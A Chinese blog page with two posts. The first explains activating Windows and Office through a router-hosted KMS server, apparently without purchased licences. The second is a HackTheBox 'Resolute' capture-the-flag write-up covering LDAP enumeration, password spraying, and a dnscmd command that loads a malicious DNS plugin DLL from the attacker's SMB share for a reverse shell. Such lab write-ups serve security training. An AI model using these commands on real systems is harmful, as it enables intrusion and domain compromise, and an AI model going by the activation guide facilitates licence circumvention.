openwrt-kms-active-win-office

openwrt KMS服务器激活windows与office

参考

破浪: Openwrt的KMS服务,激活windows和office

激活过程: 在需要激活的机器上设置好KMS服务器的地址,让机器使用windows自身的激活机制进行激活。

先决条件: 安装的windows镜像、office镜像版本都是批量授权版(VOL),而不是零售版(Retail)。 区别就是批量授权版类似于供应企业使用,为了方便企业激活,允许使用KMS服务器批量激活

Openwrt esir 高大全固件默认存在KMS服务器服务,开启即可。

windows激活

MS 官方 各版本镜像下载 ; 开启开发者工具后, 将屏幕设备修改为移动设备,即可以直接下载。

windows激活过程,按照步骤执行激活过程即可。

  • 给需要激活机器先卸载已存在密钥

    1
    slmgr /upk
  • 给需要激活机器安装对应版本密钥

    ms kms client activation keys

    1
    2
    # 专业工作站版密钥
    slmgr /ipk NRG8B-VKK3Q-CXVCJ-9G2XF-6Q84J

    esir Openwrt 固件KMS服务器配置文件中提供的几个版本的Key

    #Windows 10/ Windows 11 KMS 安装激活密钥

    #Windows 10/11 Pro:W269N-WFGWX-YVC9B-4J6C9-T83GX

    #Windows 10/11 Enterprise:NPPR9-FWDCX-D2C8J-H872K-2YT43

    #Windows 10/11 Pro for Workstations:NRG8B-VKK3Q-CXVCJ-9G2XF-6Q84J

  • 给需要激活的机器设置KMS服务器地址

    1
    2
    # openwrt ip地址
    slmgr /skms 192.168.5.1
    1
    2
    # 确认KMS服务器地址已经正常设置, 解析结果为 192.168.5.1
    nslookup -type=srv _vlmcs._tcp.lan
  • 执行手动激活

    1
    slmgr /ato

office 激活

一定要安装VOL版本office,否则激活不成功,可能有解决办法破浪: Openwrt的KMS服务,激活windows和office, 但是很麻烦。

安装VOL版本office

参照祕技: 安装部署Microsoft Office LTSC 专业增强版 2021 ,使用官方office Office部署工具(Office Deployment Tool), 进行office Vol各版本office手动安装部署。

  • 下载office deployment tool

    https://www.microsoft.com/en-us/download/details.aspx?id=49117

  • 运行office deployment tool

    创建一个空文件夹(例如名称为: office_file),在运行office deployment tool后,选择这个空文件夹。(整个安装过程完成后,此文件夹可以删除)
    运行完成后,文件夹下会生成几个office安装描述xml配置文件,和setup.exe。删除生成的几个xml配置文件。

  • 生成需要安装的对应版本office描述xml配置文件

    MS office 官方xml配置文件生成网站中生成xml配置文件,然后下载到office_file中。 例如Office LTSC 专业增强版xml如下: 包含Visio LTSC专业版Project LTSC专业版

    office_LTSC_pro_plus_2021.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <Configuration ID="0120b23a-3fdc-43ad-8f91-84dffbff66de">
    <Add OfficeClientEdition="64" Channel="PerpetualVL2021">
    <Product ID="ProPlus2021Volume" PIDKEY="FXYTK-NJJ8C-GB6DW-3DYQT-6F7TH">
    <Language ID="zh-cn" />
    <ExcludeApp ID="Lync" />
    </Product>
    <Product ID="VisioPro2021Volume" PIDKEY="KNH8D-FGHT4-T8RK3-CTDYJ-K2HT4">
    <Language ID="zh-cn" />
    <ExcludeApp ID="Lync" />
    </Product>
    <Product ID="ProjectPro2021Volume" PIDKEY="FTNWT-C6WBT-8HMGF-K9PRX-QV9H8">
    <Language ID="zh-cn" />
    <ExcludeApp ID="Lync" />
    </Product>
    </Add>
    <Property Name="SharedComputerLicensing" Value="0" />
    <Property Name="FORCEAPPSHUTDOWN" Value="FALSE" />
    <Property Name="DeviceBasedLicensing" Value="0" />
    <Property Name="SCLCacheOverride" Value="0" />
    <Property Name="AUTOACTIVATE" Value="1" />
    <Updates Enabled="TRUE" />
    <RemoveMSI />
    </Configuration>
  • 使用setup.exe按配置文件下载office安装数据

    1
    2
    3
    4
    # 进入setup.exe所在目录
    cd office_file

    PS C:\Users\xxx\office_file> .\setup.exe /download ".\office_LTSC_pro_plus_2021.xml"

    命令完成后,office_file目录下存在下载完成的office 数据。

  • 使用setup.exe对已经下载的office安装数据进行配置安装

    1
    2
    3
    4
    # 进入setup.exe所在目录
    cd office_file

    PS C:\Users\xxx\office_file> .\setup.exe /configure ".\office_LTSC_pro_plus_2021.xml"

    命令完成后,office已经安装完毕,将各office组件,都打开一遍,准备激活。

office KMS服务器激活

  • 进入到office安装目录下

    1
    2
    # Office15, Office16
    PS > cd 'C:\program files\microsoft office\Office16'
  • 使用官方ospp.vbs脚本设置KMS服务器地址

    1
    2
    # openwrt地址 192.168.5.1
    PS C:\program files\microsoft office\Office16> cscript ospp.vbs /sethst:192.168.5.1
  • 使用官方ospp.vbs脚本手动执行激活

    1
    PS C:\program files\microsoft office\Office16> cscript ospp.vbs /act
  • 使用官方ospp.vbs脚本查看office安装key、激活状态

    1
    PS C:\program files\microsoft office\Office16> cscript ospp.vbs /dstatus

hackthebox-220-resolute

hackthebox resolute

resolute

port scan

使用rustscan做端口扫描,发现存在139,445,389等端口开放。

services

使用windapsearch对ldap服务进行枚举,枚举用户、组、以及全量信息。

1
2
3
4
5
6
7
8
9
mod="users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="user-spns"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="privileged-users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="metadata"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="groups"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="domain-admins"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="computers"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "custom" --filter "(&(objectClass=*))" | tee custom.all.txt

windapsearch enum ldap

对检索出的信息,进行过滤查看,以常见关键词进行过滤,发现Account description中存在密码Welcome123!

1
cat custom.all.txt | rg -iaP "((pass)|(pwd)|(cred)|(desc))" | rg -ivP "((badpwdcount)|(badpasswordtime)|(pwdlastset))" | rg -iaP "((pass)|(pwd)|(cred)|(desc))"

filter windapsearch result find password

发现密码后,根据密码找到此密码对应到哪个用户。

1
cat custom.all.txt | rg -B7 -A30 -iaP "welcome123"

windapsearch find password

找到marko / Welcome123!凭据。根据此凭据先尝试登录(不成功),使用cme查看密码策略, 发现没有设置锁定策略。

1
cme smb '10.10.10.169' -u '' -p '' --pass-pol

没有密码锁定策略,可以尝试密码喷洒, 得到可登录凭据melanie / Welcome123!

1
cme smb '10.10.10.169' -u './megabank.local.users.txt' -p 'Welcome123!' --continue-on-success

cme password spray

foothold

使用evil-winrmmelanie / Welcome123!凭据登录目标。 melanie foothold

priv esca

一番枚举后,发现根目录下存在隐藏目录PSTranscripts,其中存在pwsh 执行历史记录,包含登录凭据。

enum file system find hidden dir PSTranscripts enum file system PSTranscripts find hidden dir 20191203 enum file system PSTranscripts find pwsh history

在pwsh历史记录中,发现ryan的凭据ryan / Serv3r4Admin4cc123!find ryan password

尝试使用ryan / Serv3r4Admin4cc123!登录winrm(成功),可以再次尝试密码喷洒。

一番枚举,发现ryan用户归属于DnsAdmins组,因此可以尝试添加Dns plugin的方式,使得恶意插件启动,从而提升权限。 ryan is in DnsAdmins group 参照esca priv with dnsadmins group active direcotry文章, 制作dns恶意插件,由于启动进程后,执行反弹shell连接,会导致插件停止继续运行,shell不稳定,可以使用多线程编程,可以使得 reverse shell在单独的线程中,不会影响dns服务运行,导致服务异常停止,shell不稳定。
根据dim0x69/dns-exe-persistance插件模板,以及cpp rev shell 制作恶意dns plugin.

dns plugin: dns exe persistance cpp rsh

监听对应端口,等待反弹shell.
启动smb share, 托管恶意插件,然后在目标机器安装插件,并重启dns服务,让插件启动,应该可以得到反弹shell.

resolute impacket smbShare no password

执行命令,加载dns plugin,并重启dns服务。

1
dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.14.22\share\dnsAplugin.dll; sc.exe stop dns; sc.exe start dns;

install dns plugin: dnscmd

监听端口处,得到反弹administrator shell,由于目标是域控,则得到了域管权限.

dns plugin thread administrator reverse shell

post

尝试使用impacket-secretsdump获取所有域用户的凭据。